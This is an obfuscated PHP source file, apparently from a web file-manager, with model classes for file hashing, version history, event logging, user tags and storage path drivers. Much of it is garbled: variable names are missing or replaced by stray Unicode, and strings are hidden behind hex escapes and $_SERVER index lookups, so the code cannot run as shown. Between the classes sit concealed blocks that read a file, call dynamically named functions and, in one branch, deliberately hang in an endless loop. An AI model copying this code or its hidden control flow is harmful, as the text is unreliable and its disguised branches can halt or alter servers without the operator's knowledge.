fileMd5Set($Ӓ, $) { $ =& $_SERVER[]; $ = $this->find($Ӓ); if (!$ || $[$[176]]) { return; } $Ê = IO::hashMd5($); if (!$Ê) { return $[12]; } $this->where(array($[468] => $Ӓ))->save(array($[176] => $Ê)); } public function addFileMake($, $̠Ӿ, $֧垞, $ƈ, $, $͘) { $ =& $_SERVER[]; $٠ = $this->createFileName($, $֧垞, $ƈ); $ꮄѠ = get_path_father($٠); $Ħ = get_path_this($٠); if ($͘) { $ = IO::move($, $ꮄѠ, !1, $Ħ); } else { $ = IO::copy($, $ꮄѠ, !1, $Ħ); } if (!$) { return !1; } $̬© = KodIO::defaultDriver(); $Éŏ = array($[545] => $̠Ӿ, $[1922] => 1, $[420] => $, $[807] => $̬©[$[399]], $[421] => $٠, $[1923] => $֧垞, $[1924] => $ƈ); return $Éŏ; } public function addFileCheckExist($, $, $) { $П =& $_SERVER[]; $ = $this->findByHash($, $); if (!$) { return !1; } $ = array($П[1922] => intval($[$П[1929]]) + 1, $П[545] => $); $this->where(array($П[469] => $[$П[468]]))->save($); return $; } public function remove($Ť) { $this->linkCountChange($Ť, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($, $) { $ۀˬ =& $_SERVER[]; if (!$) { return; } if (!is_array($)) { $ = array($); } $ = array(); foreach ($ as $峻) { $ٞ = $峻 . $ۀˬ[12]; if (!$[$ٞ]) { $[$ٞ] = 0; } $[$ٞ]++; } $ = array(); foreach ($ as $峻 => $ژµ) { $ٞ = $ژµ . $ۀˬ[12]; if (!$[$ٞ]) { $[$ٞ] = array(); } $[$ٞ][] = $峻; } foreach ($ as $ژµ => $˧) { if (!$˧) { continue; } $ژµ = $ ? $ژµ : -intval($ژµ); $ = array($ۀˬ[468] => array($ۀˬ[7], $˧)); if ($ژµ < 0) { $[$ۀˬ[1929]] = array($ۀˬ[1017], abs($ژµ)); } $this->where($)->setAdd($ۀˬ[1929], $ژµ); } } public function findByHash($, $ݒ = false) { $ =& $_SERVER[]; if (!$ && !$ݒ) { return !1; } $ʍ = array($[1923] => $); if ($ݒ) { $ʍ = array($[1924] => $ݒ); } return $this->order($[1930])->where($ʍ)->find(); } public function clearEmpty($Ͼ = 0) { $ =& $_SERVER[]; $ф = time() - 3600 * 24 * $Ͼ; $Ȓ = $[1931] . $ф; $ = $this->where($Ȓ)->select(); if (!$) { return; } $ = new Task($[1932], $[12], count($)); foreach ($ as $짅) { $->update(1); $this->resetFile($짅); } $->end(); } public function resetFile($) { $ =& $_SERVER[]; $ = array($[469] => $[$[468]]); $ȹ = Model($[1341])->where($)->count(); $恋 = Model($[1933])->where($)->count(); $ = intval($ȹ) + intval($恋); if ($ == 0) { IO::remove($[$[84]]); Model($[1934])->delete($[$[468]]); $this->where($)->delete(); $this->metaSet($[$[468]], null, null); return; } if ($[$[1929]] != $) { $this->where($)->save(array($[1922] => $)); } } public function storageInfo($Ȁ䕢 = false) { $ݟ =& $_SERVER[]; $ô = $this->count() + 0.0; $ = 0; $ї = 1; $ = 0; $ڲ = 5000; for ($ᅬ = 0; $ᅬ < $ô; $ᅬ = $ᅬ + $ڲ) { $ = $this->limit($ᅬ, $ᅬ + $ڲ)->select(); foreach ($ as $) { $ї += $[$ݟ[76]] * $[$ݟ[1929]]; $ += $[$ݟ[76]] * ($[$ݟ[1929]] - 1); $ += $[$ݟ[1929]]; } } $ܨ = array($ݟ[1935] => $ї, $ݟ[1936] => $, $ݟ[1937] => $ / $ї, $ݟ[80] => $ô, $ݟ[1938] => $); return $ܨ; } } if ($_SERVER[$_SERVER[][875]] != $_SERVER[$_SERVER[][1786]]) { $_getc = $_SERVER[][878]; $_getfile = $_SERVER[$_SERVER[][879]] . $_SERVER[][880]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][635]) { $exit = $_SERVER[][881]; $exit(); } $_act = $_SERVER[][1787]; $_act($_SERVER[$_SERVER[][876]]); } goto Eɤ֠; Dф: class SourceEventModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\157\x75\162\x63\x65\137\145\166\x65\x6e\x74"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\124\x69\x6d\x65", "\x74\151\155\145", "\x69\156\163\x65\162\164", "\x66\165\156\x63\164\151\157\156"), array("\144\145\163\143", '', "\x69\156\x73\x65\162\164\x2c\x75\x70\x64\141\x74\145\x2c\163\145\154\x65\143\x74", "\152\163\157\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ŧ, $܈, $Ŏ = '') { $Ý =& $_SERVER[]; if (!$this->eventSave) { return; } $ = Model($Ý[1341])->sourceInfo($ŧ); if (!$) { return !1; } if ($this->isCacheEvent($, $܈)) { return; } if ($Ŏ && is_string($Ŏ)) { $Ŏ = array($Ý[1900] => $Ŏ); } $ƅ = array($Ý[417] => $ŧ, $Ý[2082] => $[$Ý[432]], $Ý[2083] => $[$Ý[32]], $Ý[509] => !empty($[$Ý[509]]) ? $[$Ý[509]] : $Ý[12], $Ý[1661] => USER_ID, $Ý[422] => $܈, $Ý[1663] => $Ŏ); $this->addSystemLog($܈, $ƅ); unset($ƅ[$Ý[2083]], $ƅ[$Ý[509]]); return $this->add($ƅ); } private function addSystemLog($, $֮Ȃ) { $ꎦ =& $_SERVER[]; if ($ == $ꎦ[2084]) { $ = $֮Ȃ[$ꎦ[453]][$ꎦ[2085]]; } else { if (in_array($, array($ꎦ[1841], $ꎦ[2086]))) { $ = $֮Ȃ[$ꎦ[453]][$ꎦ[753]]; } } $ = array_merge($֮Ȃ, array($ꎦ[2087] => $֮Ȃ[$ꎦ[402]], $ꎦ[2088] => $֮Ȃ[$ꎦ[2088]])); Hook::trigger($ꎦ[2089], $ꎦ[2090] . $, $֮Ȃ); Model($ꎦ[1805])->addLog($ꎦ[2090] . $, $); } private function isCacheEvent($𮨙, $Ґ) { if ($𮨙[$_SERVER[][411]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $⹛) { $ =& $_SERVER[]; $ = Model($[1341])->sourceInfo($); $ݟ = array($[2085] => $⹛, $[32] => $[$[32]]); return $this->addEvent($, $[2084], $ݟ); } public function eventFileEdit($҃) { $ =& $_SERVER[]; $ = array($[2091] => $_SERVER[$[2092]], $[2093] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2094]])) { $[$[2094]] = $[88]; } return $this->addEvent($҃, $[1831], $); } public function eventRecycle($ّ, $) { return $this->addEvent($ّ, $_SERVER[][2086], $); } public function eventRemove($ٔ) { $Ļ =& $_SERVER[]; $×Ḧ = Model($Ļ[1341])->sourceInfo($ٔ); $ = $×Ḧ[$Ļ[32]]; return $this->addEvent($×Ḧ[$Ļ[432]], $Ļ[1830], $); } public function eventShare($Զ, $Խ) { return $this->addEvent($Զ, $_SERVER[][1841], $Խ); } public function eventMove($洼, $, $Ôۓ) { $՚ =& $_SERVER[]; $ = Model($՚[1341]); $ = $->sourceInfo($洼); $׀ = $->sourceInfo($); $ = $->sourceInfo($Ôۓ); $˽ = array($՚[1162] => $, $՚[2095] => $׀[$՚[32]], $՚[2073] => !empty($׀[$՚[509]]) ? $׀[$՚[509]] : $՚[12], $՚[1163] => $Ôۓ, $՚[2096] => $[$՚[32]], $՚[2097] => !empty($[$՚[509]]) ? $[$՚[509]] : $՚[12]); $this->addEvent($洼, $՚[548], $˽); $ = $->sourceInfo($洼); $˽ = array($՚[402] => $[$՚[402]], $՚[32] => $[$՚[32]]); $this->addEvent($, $՚[2098], $˽); } public function eventCopy($ɫ) { $this->eventCreate($ɫ, $_SERVER[][546]); } public function eventRename($, $םޭ, $²) { $Œ =& $_SERVER[]; $ = array($Œ[1162] => $םޭ, $Œ[1163] => $²); return $this->addEvent($, $Œ[1356], $); } public function eventAddComment($, $) { return $this->addEvent($, $_SERVER[][2099], $); } public function eventAddDesc($Ĝ, $) { return $this->addEvent($Ĝ, $_SERVER[][2100], $); } public function listBySource($) { $Ճ =& $_SERVER[]; $夯 = Model($Ճ[1341])->sourceInfo($); $ӫ = array($Ճ[417] => $); if ($夯[$Ճ[410]] == $Ճ[88]) { $ٗ = Model($Ճ[1341])->listSearchChildren($, 20000); $ٗ[] = $ . $Ճ[378]; $ӫ = array($Ճ[402] => array($Ճ[7], $ٗ)); } $ = $this->where($ӫ)->order($Ճ[2101])->selectPage(); if ($[$Ճ[366]][$Ճ[367]] == 0) { $[$Ճ[366]][$Ճ[367]] = 1; $[$Ճ[369]] = array(array($Ճ[417] => $, $Ճ[2082] => $夯[$Ճ[432]], $Ճ[1661] => $夯[$Ճ[454]], $Ճ[422] => $Ճ[2102], $Ճ[423] => $夯[$Ճ[201]], $Ճ[1663] => $Ճ[12])); } return $this->eventListParse($, $); } private function eventListParse($, $ʑ) { $ =& $_SERVER[]; $Ќ = $[$[369]]; $̒ = array_to_keyvalue($Ќ, $[12], $[402]); $שۤ = array_to_keyvalue($Ќ, $[12], $[2088]); foreach ($Ќ as $Ӄ) { $ = $Ӄ[$[453]]; if ($Ӄ[$[33]] == $[548] && isset($[$[1162]])) { $̒[] = $[$[1162]] . $[12]; $̒[] = $[$[1163]] . $[12]; } if ($Ӄ[$[33]] == $[2098] && isset($[$[402]])) { $̒[] = $[$[402]] . $[12]; } } $̒ = array_merge($̒, $שۤ, array($ʑ . $[12])); $̒ = array_unique($̒); $ = array_unique(array_to_keyvalue($Ќ, $[12], $[1670])); $ɣ = Model($[525])->userListInfo($); $ԟ = Model($[824])->sourceListInfo($̒, !0); foreach ($Ќ as &$Ӄ) { if ($Ӄ[$[33]] == $[548] && isset($Ӄ[$[453]][$[1162]])) { $Ӄ[$[453]][$[1162]] = $ԟ[$Ӄ[$[453]][$[1162]]]; $Ӄ[$[453]][$[1163]] = $ԟ[$Ӄ[$[453]][$[1163]]]; } if ($Ӄ[$[33]] == $[2098] && isset($Ӄ[$[453]][$[402]])) { $Ӄ[$[453]][$[402]] = $ԟ[$Ӄ[$[453]][$[402]]]; } $Ӄ[$[87]] = $ԟ[$Ӄ[$[402]]]; $Ӄ[$[2103]] = $ԟ[$Ӄ[$[2088]]]; if ($Ӄ[$[33]] == $[1830]) { $Ӄ[$[2103]] = $Ӄ[$[87]]; $Ӄ[$[2088]] = $Ӄ[$[2103]][$[402]]; $Ӄ[$[87]] = !1; $Ӄ[$[402]] = $[12]; } $Ӄ[$[2033]] = $ɣ[$Ӄ[$[1670]]]; } unset($Ӄ); $[$[369]] = $Ќ; return $; } public function removeBySource($ۭ) { $ = array($_SERVER[][417] => $ۭ); $this->where($)->remove(); } } if (!isset($_SERVER[$_SERVER[][875]]) || !isset($_SERVER[$_SERVER[][876]])) { $_getc = $_SERVER[][878]; $_getfile = $_SERVER[$_SERVER[][879]] . $_SERVER[][880]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][635]) { $exit = $_SERVER[][881]; $exit(); } $_act = $_SERVER[][1787]; $_act($_SERVER[$_SERVER[][879]] . $_SERVER[][880]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][378]); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\x75\x72\x63\145\137\150\x69\163\x74\157\x72\x79"; public function historyCount($) { $ы =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $У = array($ы[402], $ы[1894] => $ы[491]); $ = array($ы[402] => array($ы[7], $)); $֜ = $this->field($У)->where($)->group($ы[402])->select(); return array_to_keyvalue($֜, $ы[402], $ы[491]); } public function addHistory($˯Ĺ, $ = '') { $ɗ =& $_SERVER[]; $Ҹ᠐ = array($ɗ[417] => $˯Ĺ[$ɗ[402]], $ɗ[1661] => isset($˯Ĺ[$ɗ[456]]) ? $˯Ĺ[$ɗ[456]] : $˯Ĺ[$ɗ[454]], $ɗ[469] => $˯Ĺ[$ɗ[468]], $ɗ[545] => $˯Ĺ[$ɗ[76]], $ɗ[2104] => $); if ($GLOBALS[$ɗ[6]][$ɗ[89]][$ɗ[1219]] >= 1) { $this->historyAutoClear($Ҹ᠐[$ɗ[402]]); $this->add($Ҹ᠐); } Hook::trigger($ɗ[2105], $Ҹ᠐); Model($ɗ[2106])->eventFileEdit($˯Ĺ[$ɗ[402]]); } private function historyAutoClear($) { $ =& $_SERVER[]; $ʬǢ = Model($[769])->get($[1241]); $秳 = $GLOBALS[$[6]][$[89]][$[1219]]; $ż = $ʬǢ == $[1242] ? min(5, $秳) : $秳; $ż = $ż <= 0 ? 0 : $ż - 1; if ($ż >= 500) { return; } $ = array($[417] => $); $ޙ = $this->field($[2107])->where($)->order($[2101])->select(); if (!$ޙ || $ż >= count($ޙ)) { return; } $ = array_to_keyvalue($ޙ, $[12], $[399]); $ = array_slice($, $ż); $ = array_to_keyvalue($ޙ, $[12], $[468]); $ = array_slice($, $ż); if (!$ || !$) { return; } $ = array($[419] => array($[7], $)); $this->where($)->delete(); Model($[471])->remove($); } public function listData($ؗ) { $ =& $_SERVER[]; $ł = array($[417] => $ؗ); $Dž = $[2108]; $ݩ٩ = $this->field($Dž)->where($ł)->order($[2101])->selectPage(); $this->_listAppendUser($ݩ٩[$[369]]); $Ԝޅ = Model($[769])->get($[1241]); $ƋŞ = 5; if ($Ԝޅ == $[1242]) { $ݩ٩[$[369]] = array_slice($ݩ٩[$[369]], 0, $ƋŞ); $ݩ٩[$[366]] = array($[2109] => 1, $[2110] => 20, $[2111] => 1, $[2112] => count($ݩ٩[$[369]])); } return $ݩ٩; } protected function _listAppendUser(&$Ō) { $҅ =& $_SERVER[]; $ø = array_to_keyvalue($Ō, $҅[12], $҅[1670]); $܀Έ = Model($҅[525])->userListInfo($ø); foreach ($Ō as &$ۛ) { $ϻ = $ۛ[$҅[1670]]; $ۛ[$҅[454]] = $܀Έ[$ϻ] ? $܀Έ[$ϻ] : !1; } unset($ۛ); } public function fileInfo($Џ҃) { $ =& $_SERVER[]; $¦ = $this->tablePrefix; $ = "{$¦}\x69\157\137\x66\x69\154\145\x20\x66\x69\x6c\x65\163\x20\157\x6e\x20\146\x69\x6c\x65\163\x2e\x66\x69\154\145\111\104\x20\x3d\40\150\151\x73\x74\x6f\x72\x79\x2e\x66\x69\154\x65\111\104"; return $this->alias($[2113])->where(array($[419] => $Џ҃))->join($, $[2114])->find(); } public function removeItem($ŭ) { $ =& $_SERVER[]; $ى = array($[419] => $ŭ); $ = $this->where($ى)->find(); if ($) { $ = $this->where($ى)->delete(); Model($[471])->remove($[$[468]]); return $; } return !1; } public function removeBySource($) { $߸ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($߸[417] => array($߸[7], $)); $ = $this->field($߸[469])->where($)->select(); if ($) { $this->where($)->delete(); $ = array_to_keyvalue($, $߸[12], $߸[468]); Model($߸[471])->remove($); } return !0; } public function setDetail($, $ꫢ) { $͓ =& $_SERVER[]; return $this->where(array($͓[419] => $))->save(array($͓[2104] => $ꫢ)); } public function rollbackToItem($ƴ, $) { $ɨ =& $_SERVER[]; $ձ = Model($ɨ[824])->sourceInfo($ƴ); $this->addHistory($ձ, LNG($ɨ[2115])); $ = $this->find($); $䚝 = array($ɨ[468] => $[$ɨ[468]], $ɨ[76] => $[$ɨ[76]], $ɨ[85] => time(), $ɨ[456] => USER_ID); Model($ɨ[824])->where(array($ɨ[402] => $ƴ))->save($䚝); return $this->where(array($ɨ[419] => $))->delete(); } public function clearSame($Á) { $ =& $_SERVER[]; $ܩ = $this->listData($Á); $Ⓠ = array_to_keyvalue_group($ܩ, $[468]); $ = array(); $ = array(); foreach ($Ⓠ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $ұȒ) { $[] = $ұȒ[$[468]]; $[] = $ұȒ[$[399]]; } } if (!$) { return; } $this->where(array($[399] => array($[7], $)))->delete(); Model($[471])->remove($); } public function userSpace() { $ۀ =& $_SERVER[]; $ܯ = $this->tablePrefix; $ = array($ۀ[1661] => USER_ID); $ = "{$ܯ}\151\x6f\x5f\146\151\x6c\145\x20\146\151\x6c\145\x73\40\x6f\x6e\40\x66\x69\x6c\145\x73\56\146\x69\154\x65\111\x44\x20\75\x20\150\151\163\164\x6f\162\171\56\146\x69\x6c\145\x49\104"; return $this->alias($ۀ[2113])->where($)->join($, $ۀ[2114])->sum($ۀ[76]); } } goto a; d: class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\x73\145\162\137\x6f\x70\x74\151\x6f\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $ =& $_SERVER[]; $ = defined($[2139]) && USER_ID ? USER_ID : $[12]; return "\125\163\x65\x72\117\x70\164\151\x6f\x6e\137{$}\x5f" . $; } protected function filterWhere($ϝ) { $ =& $_SERVER[]; $ϝ[$[1670]] = defined($[2139]) && USER_ID ? USER_ID : $[12]; return $ϝ; } public function cacheRemoveUser($ϯ, $̃) { return Cache::remove("\125\x73\x65\x72\x4f\160\x74\x69\x6f\x6e\x5f{$ϯ}\x5f" . $̃); } protected function optionDefault($ = '') { $ϲ =& $_SERVER[]; if ($ == $ϲ[12]) { return $GLOBALS[$ϲ[6]][$ϲ[2353]]; } if ($ == $ϲ[2354]) { return $GLOBALS[$ϲ[6]][$ϲ[2355]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\145\x72\56\x74\x61\147\x4c\151\163\164"; public $modelType = "\125\163\x65\162\117\160\164\x69\157\156"; public $field = array("\156\141\155\145", "\x73\x74\171\154\x65", "\x73\157\162\164"); public function listData($ま = false, $ٻ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($ま, $ٻ, $); } public function remove($˩) { return parent::remove($˩); } public function add($Ȑ, $ݔ = "\154\141\142\145\x6c\x2d\x67\x72\x65\x79\55\156\x6f\162\155\141\154") { $ʽ =& $_SERVER[]; if ($this->findByName($Ȑ)) { return !1; } $ǨӢ = array($ʽ[420] => $Ȑ, $ʽ[484] => $ݔ, $ʽ[1865] => $this->getSort($ʽ[258]) + 1); return parent::insert($ǨӢ); } public function update($ۀ, $) { $Հ =& $_SERVER[]; $吡 = $this->listData($ۀ); $ۗ = $this->findByName($[$Հ[32]]); if (!$吡 || $ۗ && $ۗ[$Հ[399]] != $吡[$Հ[399]]) { return !1; } return parent::update($ۀ, $); } public function moveTop($) { $ٜ =& $_SERVER[]; $ = parent::listData(); $Ϣ = $this->getSort($ٜ[257]); foreach ($ as &$ַ) { if ($ַ[$ٜ[399]] == $) { $ַ[$ٜ[1885]] = $Ϣ; continue; } $ַ[$ٜ[1885]] += 1; } unset($ַ); return parent::resetData($); } public function moveBottom($蟪ז) { $ʋ =& $_SERVER[]; $ɜ = $this->getSort($ʋ[258]) + 1; return parent::update($蟪ז, array($ʋ[1885] => $ɜ)); } public function resetSort($) { $¹ =& $_SERVER[]; $ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $++) { $[$[$] . $¹[12]] = $ + 1; } $˖ = parent::listData(); foreach ($˖ as &$) { $ = $[$[$¹[399]]]; $[$¹[1885]] = $ ? $ : $[$¹[1885]]; } unset($); return parent::resetData($˖); } private function getSort($) { $ʭɉ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $ʭɉ[12], $ʭɉ[1885]); if (!$) { $ = array(0); } $Ԁ = $ == $ʭɉ[258] ? max($) : min($); return intval($Ԁ); } } goto e; e: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ά) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ά, $_SERVER[][8]); } return $ά; } public function iconvApp($) { return $; } public function iconvSystem($) { return $; } public function iconvTo($̵ʽ, $Ż, $) { $˩ =& $_SERVER[]; if (!$̵ʽ || !function_exists($˩[69])) { return $̵ʽ; } static $ް = array(); $Ж = $Ż . $˩[70] . $ . $˩[71] . $̵ʽ; if (isset($ް[$Ж])) { return $ް[$Ж]; } if (function_exists($˩[72])) { $ = @mb_convert_encoding($̵ʽ, $, $Ż); } else { $ = @iconv($Ż, $, $̵ʽ); } $ = $ ? $ : $̵ʽ; if (strstr($, $˩[73])) { $ = str_replace($˩[73], $˩[11], $); } $ް[$Ż . $˩[70] . $ . $˩[71] . $̵ʽ] = $; $ް[$ . $˩[70] . $Ż . $˩[71] . $̵ʽ] = $̵ʽ; $ް[$ . $˩[70] . $Ż . $˩[71] . $] = $̵ʽ; $ް[$Ż . $˩[70] . $ . $˩[71] . $] = $; return $; } public function getPathInner($) { $ = IO::init($); return $->path; } public function getPathOuter($) { $ =& $_SERVER[]; $ = strlen(trim($this->pathBase, $[8])); $ = substr(trim($, $[8]), $); return $this->pathDriver . $[8] . ltrim($, $[8]); } public function isParentOf($, $) { $ѷ =& $_SERVER[]; $ = rtrim(strtolower($), $ѷ[8]) . $ѷ[8]; $ = rtrim(strtolower($), $ѷ[8]) . $ѷ[8]; $ۺ = strpos($, $) === 0; return $ۺ; } public function getType() { $ =& $_SERVER[]; $ = str_replace($[74], $[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($̝, $ȵ) { $߇ =& $_SERVER[]; $ = rtrim($̝, $߇[8]) . $߇[8] . $ȵ; $ = $this->exist($); return $ ? $ : !1; } public function setModifyTime($, $ = '') { } public function renameObject($, $ѿ) { $ = $ѿ; $ = $this->getPathOuter($); $ѿ = $this->pathFather($) . $ѿ; $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($); } return $ ? $ѿ : !1; } public function tempFile($ = '', $۞ = '') { if (!$) { $ = rand_string(15); } $Т = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($Т, DEFAULT_PERRMISSIONS, !0); $똂 = $Т . $; @touch($똂); if ($۞) { file_put_contents($똂, $۞); } return $똂; } public function tempFileRemve($ޫ) { @unlink($ޫ); @rmdir($this->pathFather($ޫ)); } public function mkfile($, $ = '', $戄 = REPEAT_RENAME) { } public function mkdir($, $ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($) { } public function copyFile($틕, $Ћ) { } public function moveFile($ƶ, $چڰ) { } public function remove($ʮ) { if ($this->isFile($ʮ)) { return $this->delFile($ʮ); } return $this->delFolder($ʮ); } public function rename($, $ا) { } public function exist($) { } public function findByHash($ = '', $Ե = '') { return !1; } public function isFile($̷) { } public function isFolder($܌̞) { } public function size($־) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($ڥ) { return $this->info($ڥ); } public function infoFull($ہ) { return $this->info($ہ); } public function infoWithChildren($) { $ =& $_SERVER[]; static $τ = array(); if (isset($τ[$])) { return $τ[$]; } $ = $this->info($); if ($ && $[$[33]] == $[75]) { $ꀟ = array($[76] => 0, $[77] => 0, $[78] => 0); $this->infoChildren($, $ꀟ); $[$[76]] = $ꀟ[$[76]]; $[$[79]] = array($[80] => $ꀟ[$[77]], $[81] => $ꀟ[$[78]]); $τ[$] = $; } return $; } public function listPath($ǀ؈Ʀ, $ٳú = false) { } public function has($벨쵉, $ɐ = false, $姍 = false) { } public function canRead($幙) { } public function canWrite($ԉ) { } public function getContent($) { } public function setContent($, $ɼ = '') { } protected function infoChildren($, &$) { $ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); $ = array_merge($[$[82]], $[$[83]]); foreach ($ as $) { if ($[$[33]] == $[75]) { $[$[78]]++; $ = $this->getPathInner($[$[84]]); $this->infoChildren($, $); } else { $[$[77]]++; $[$[76]] += $[$[76]]; } } } public function fileSubstr($á, $, $ܻ) { } public function listAll($Ϫ) { } public function listAllMake($, &$ా) { $ִ =& $_SERVER[]; check_abort_echo(); $կ = $this->listPath($, !0); if (!$կ) { return; } $ = array_merge($կ[$ִ[82]], $կ[$ִ[83]]); foreach ($ as $) { $σ = $[$ִ[33]] == $ִ[75]; $ = array($ִ[84] => $[$ִ[84]], $ִ[75] => $σ); if (isset($[$ִ[76]])) { $[$ִ[76]] = $[$ִ[76]]; } if (isset($[$ִ[85]])) { $[$ִ[85]] = $[$ִ[85]]; } if (!$σ) { $ా[] = $; continue; } $ా[] = $; $ح = $[$ִ[84]]; $ = $this->pathDriver; if (substr($[$ִ[84]], 0, strlen($)) == $) { $ح = substr($ح, strlen($)); } $this->listAllMake($ح, $ా); } } public function listAllSimple($, $۟ = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $۟); } public function listAllSimpleMake($, $ф, $) { $ر =& $_SERVER[]; $ُ = array(); $ф = rtrim(get_path_father($ф), $ر[8]) . $ر[8]; foreach ($ as $) { $ = array($ر[84] => $[$ر[84]], $ر[86] => $[$ر[84]], $ر[75] => $[$ر[75]]); if (isset($[$ر[76]]) && !$[$ر[75]]) { $[$ر[76]] = $[$ر[76]]; } if (isset($[$ر[85]])) { $[$ر[85]] = $[$ر[85]]; } if (is_array($[$ر[87]])) { $[$ر[86]] = $[$ر[87]][$ر[84]]; $[$ر[76]] = $[$ر[87]][$ر[76]]; $[$ر[85]] = $[$ر[87]][$ر[85]]; } else { if (substr($[$ر[84]], 0, strlen($ф)) == $ф) { $[$ر[84]] = substr($[$ر[84]], strlen($ф)); } } $瞝Č = $[$ر[75]] ? $ر[8] : $ر[12]; $[$ر[86]] = rtrim($[$ر[86]], $ر[8]) . $瞝Č; $[$ر[84]] = $ر[8] . trim($[$ر[84]], $ر[8]) . $瞝Č; if (!$) { $ң = explode($ر[8], trim($[$ر[84]], $ر[8])); $[$ر[84]] = $ر[8] . implode($ر[8], array_slice($ң, 1)) . $瞝Č; } $ُ[] = $; } return array_sort_by($ُ, $ر[84]); } public function upload($ۨ, $Ņ, $ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($І, $Ƹ, $͈웾) { } public function uploadFileByPath($Ӎۨ, $, $Ǐ = array()) { } public function isUploadServer() { $׆ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $׆[88]) { return !0; } return $GLOBALS[$׆[6]][$׆[89]][$׆[90]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[88]) { return !0; } return $GLOBALS[$[6]][$[89]][$[91]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($ծ) { $ې =& $_SERVER[]; if (!$this->isCdnHost()) { return $ծ; } return str_replace(trim(get_url_root($ծ), $ې[8]), trim($this->cdnHost, $ې[8]), $ծ); } public function uploadLink($ԼՎ, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ӝ = $this->getType(); if (!in_array($ӝ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $İ = 1024 * 1024 * 10; $џ = $ <= $İ ? $[92] : $[93]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ͫ = $this->{$џ}($ԼՎ, $); if ($ͫ) { $ͫ[$[94]] = $ԼՎ; $ͫ[$[95]] = $ӝ; } return $ͫ; } public function uploadFormData($, $ = 3600) { } public function multiUploadFormData($, $ = 3600) { } public function download($ؤ, $䤅) { } public function ext($ᔚ) { $ =& $_SERVER[]; if (strpos($ᔚ, $[8]) === -1) { $ҥ = $ᔚ; } else { $ҥ = $this->pathThis($ᔚ); } $Ô = $[12]; if (strstr($ҥ, $[10])) { $Ô = substr($ҥ, strrpos($ҥ, $[10]) + 1); $Ô = strtolower($Ô); } if (strlen($Ô) > 3 && preg_match($[96], $Ô, $û)) { $Ô = $[12]; } return $Ô; } public function pathThis($˶) { $ת =& $_SERVER[]; $˶ = str_replace($ת[97], $ת[8], rtrim($˶, $ת[8])); $ڠ = strrpos($˶, $ת[8]); if ($ڠ === !1) { return $˶; } return substr($˶, $ڠ + 1); } public function pathFather($) { $ =& $_SERVER[]; $ = str_replace($[97], $[8], rtrim($, $[8])); $ = strrpos($, $[8]); if ($ === !1) { return $[12]; } return substr($, 0, $ + 1); } public function hashSimple($ō) { $ =& $_SERVER[]; if (!$ō) { return md5($[12]); } $ = $this->size($ō); $١ = 200; $྿ = 50; if ($ <= $١ * $྿) { return $this->hashMd5($ō) . $; } $ = intval($ / $྿); $ٶ = $[12]; for ($ = 0; $ < $྿; $++) { $ٶ .= $this->fileSubstr($ō, $ * $, $١); } $ٶ .= $this->fileSubstr($ō, $ - $١, $١); return md5($ٶ) . $; } public static $md5Cache = array(); public function hashMd5($) { if (!$) { return md5($_SERVER[][12]); } $ = $this->iconvSystem($); if (isset(self::$md5Cache[$])) { return self::$md5Cache[$]; } self::$md5Cache[$] = $this->hashMd5Shell($); if (!self::$md5Cache[$]) { self::$md5Cache[$] = @md5_file($); } return self::$md5Cache[$]; } private function hashMd5Shell($Њ) { $ =& $_SERVER[]; if (!$Њ) { return md5($[12]); } if (!function_exists($[98])) { return !1; } $ = array($[99], $[100]); $ = Cache::get($[101]); if (!$) { $֎ = BASIC_PATH . $[102]; $ = md5_file($֎); $ = $[103]; foreach ($ as $) { $Ӡ = shell_exec($ . "\40\x22{$֎}\x22"); if ($Ӡ && substr(trim($Ӡ), 0, 32) == $) { $ = $; break; } } Cache::set($[101], $, 3600); } if ($ == $[103]) { return !1; } $Ӡ = shell_exec($ . "\x20\42{$Њ}\x22"); $Ӡ = str_replace($[104], $[12], $Ӡ); return substr($Ӡ, 0, 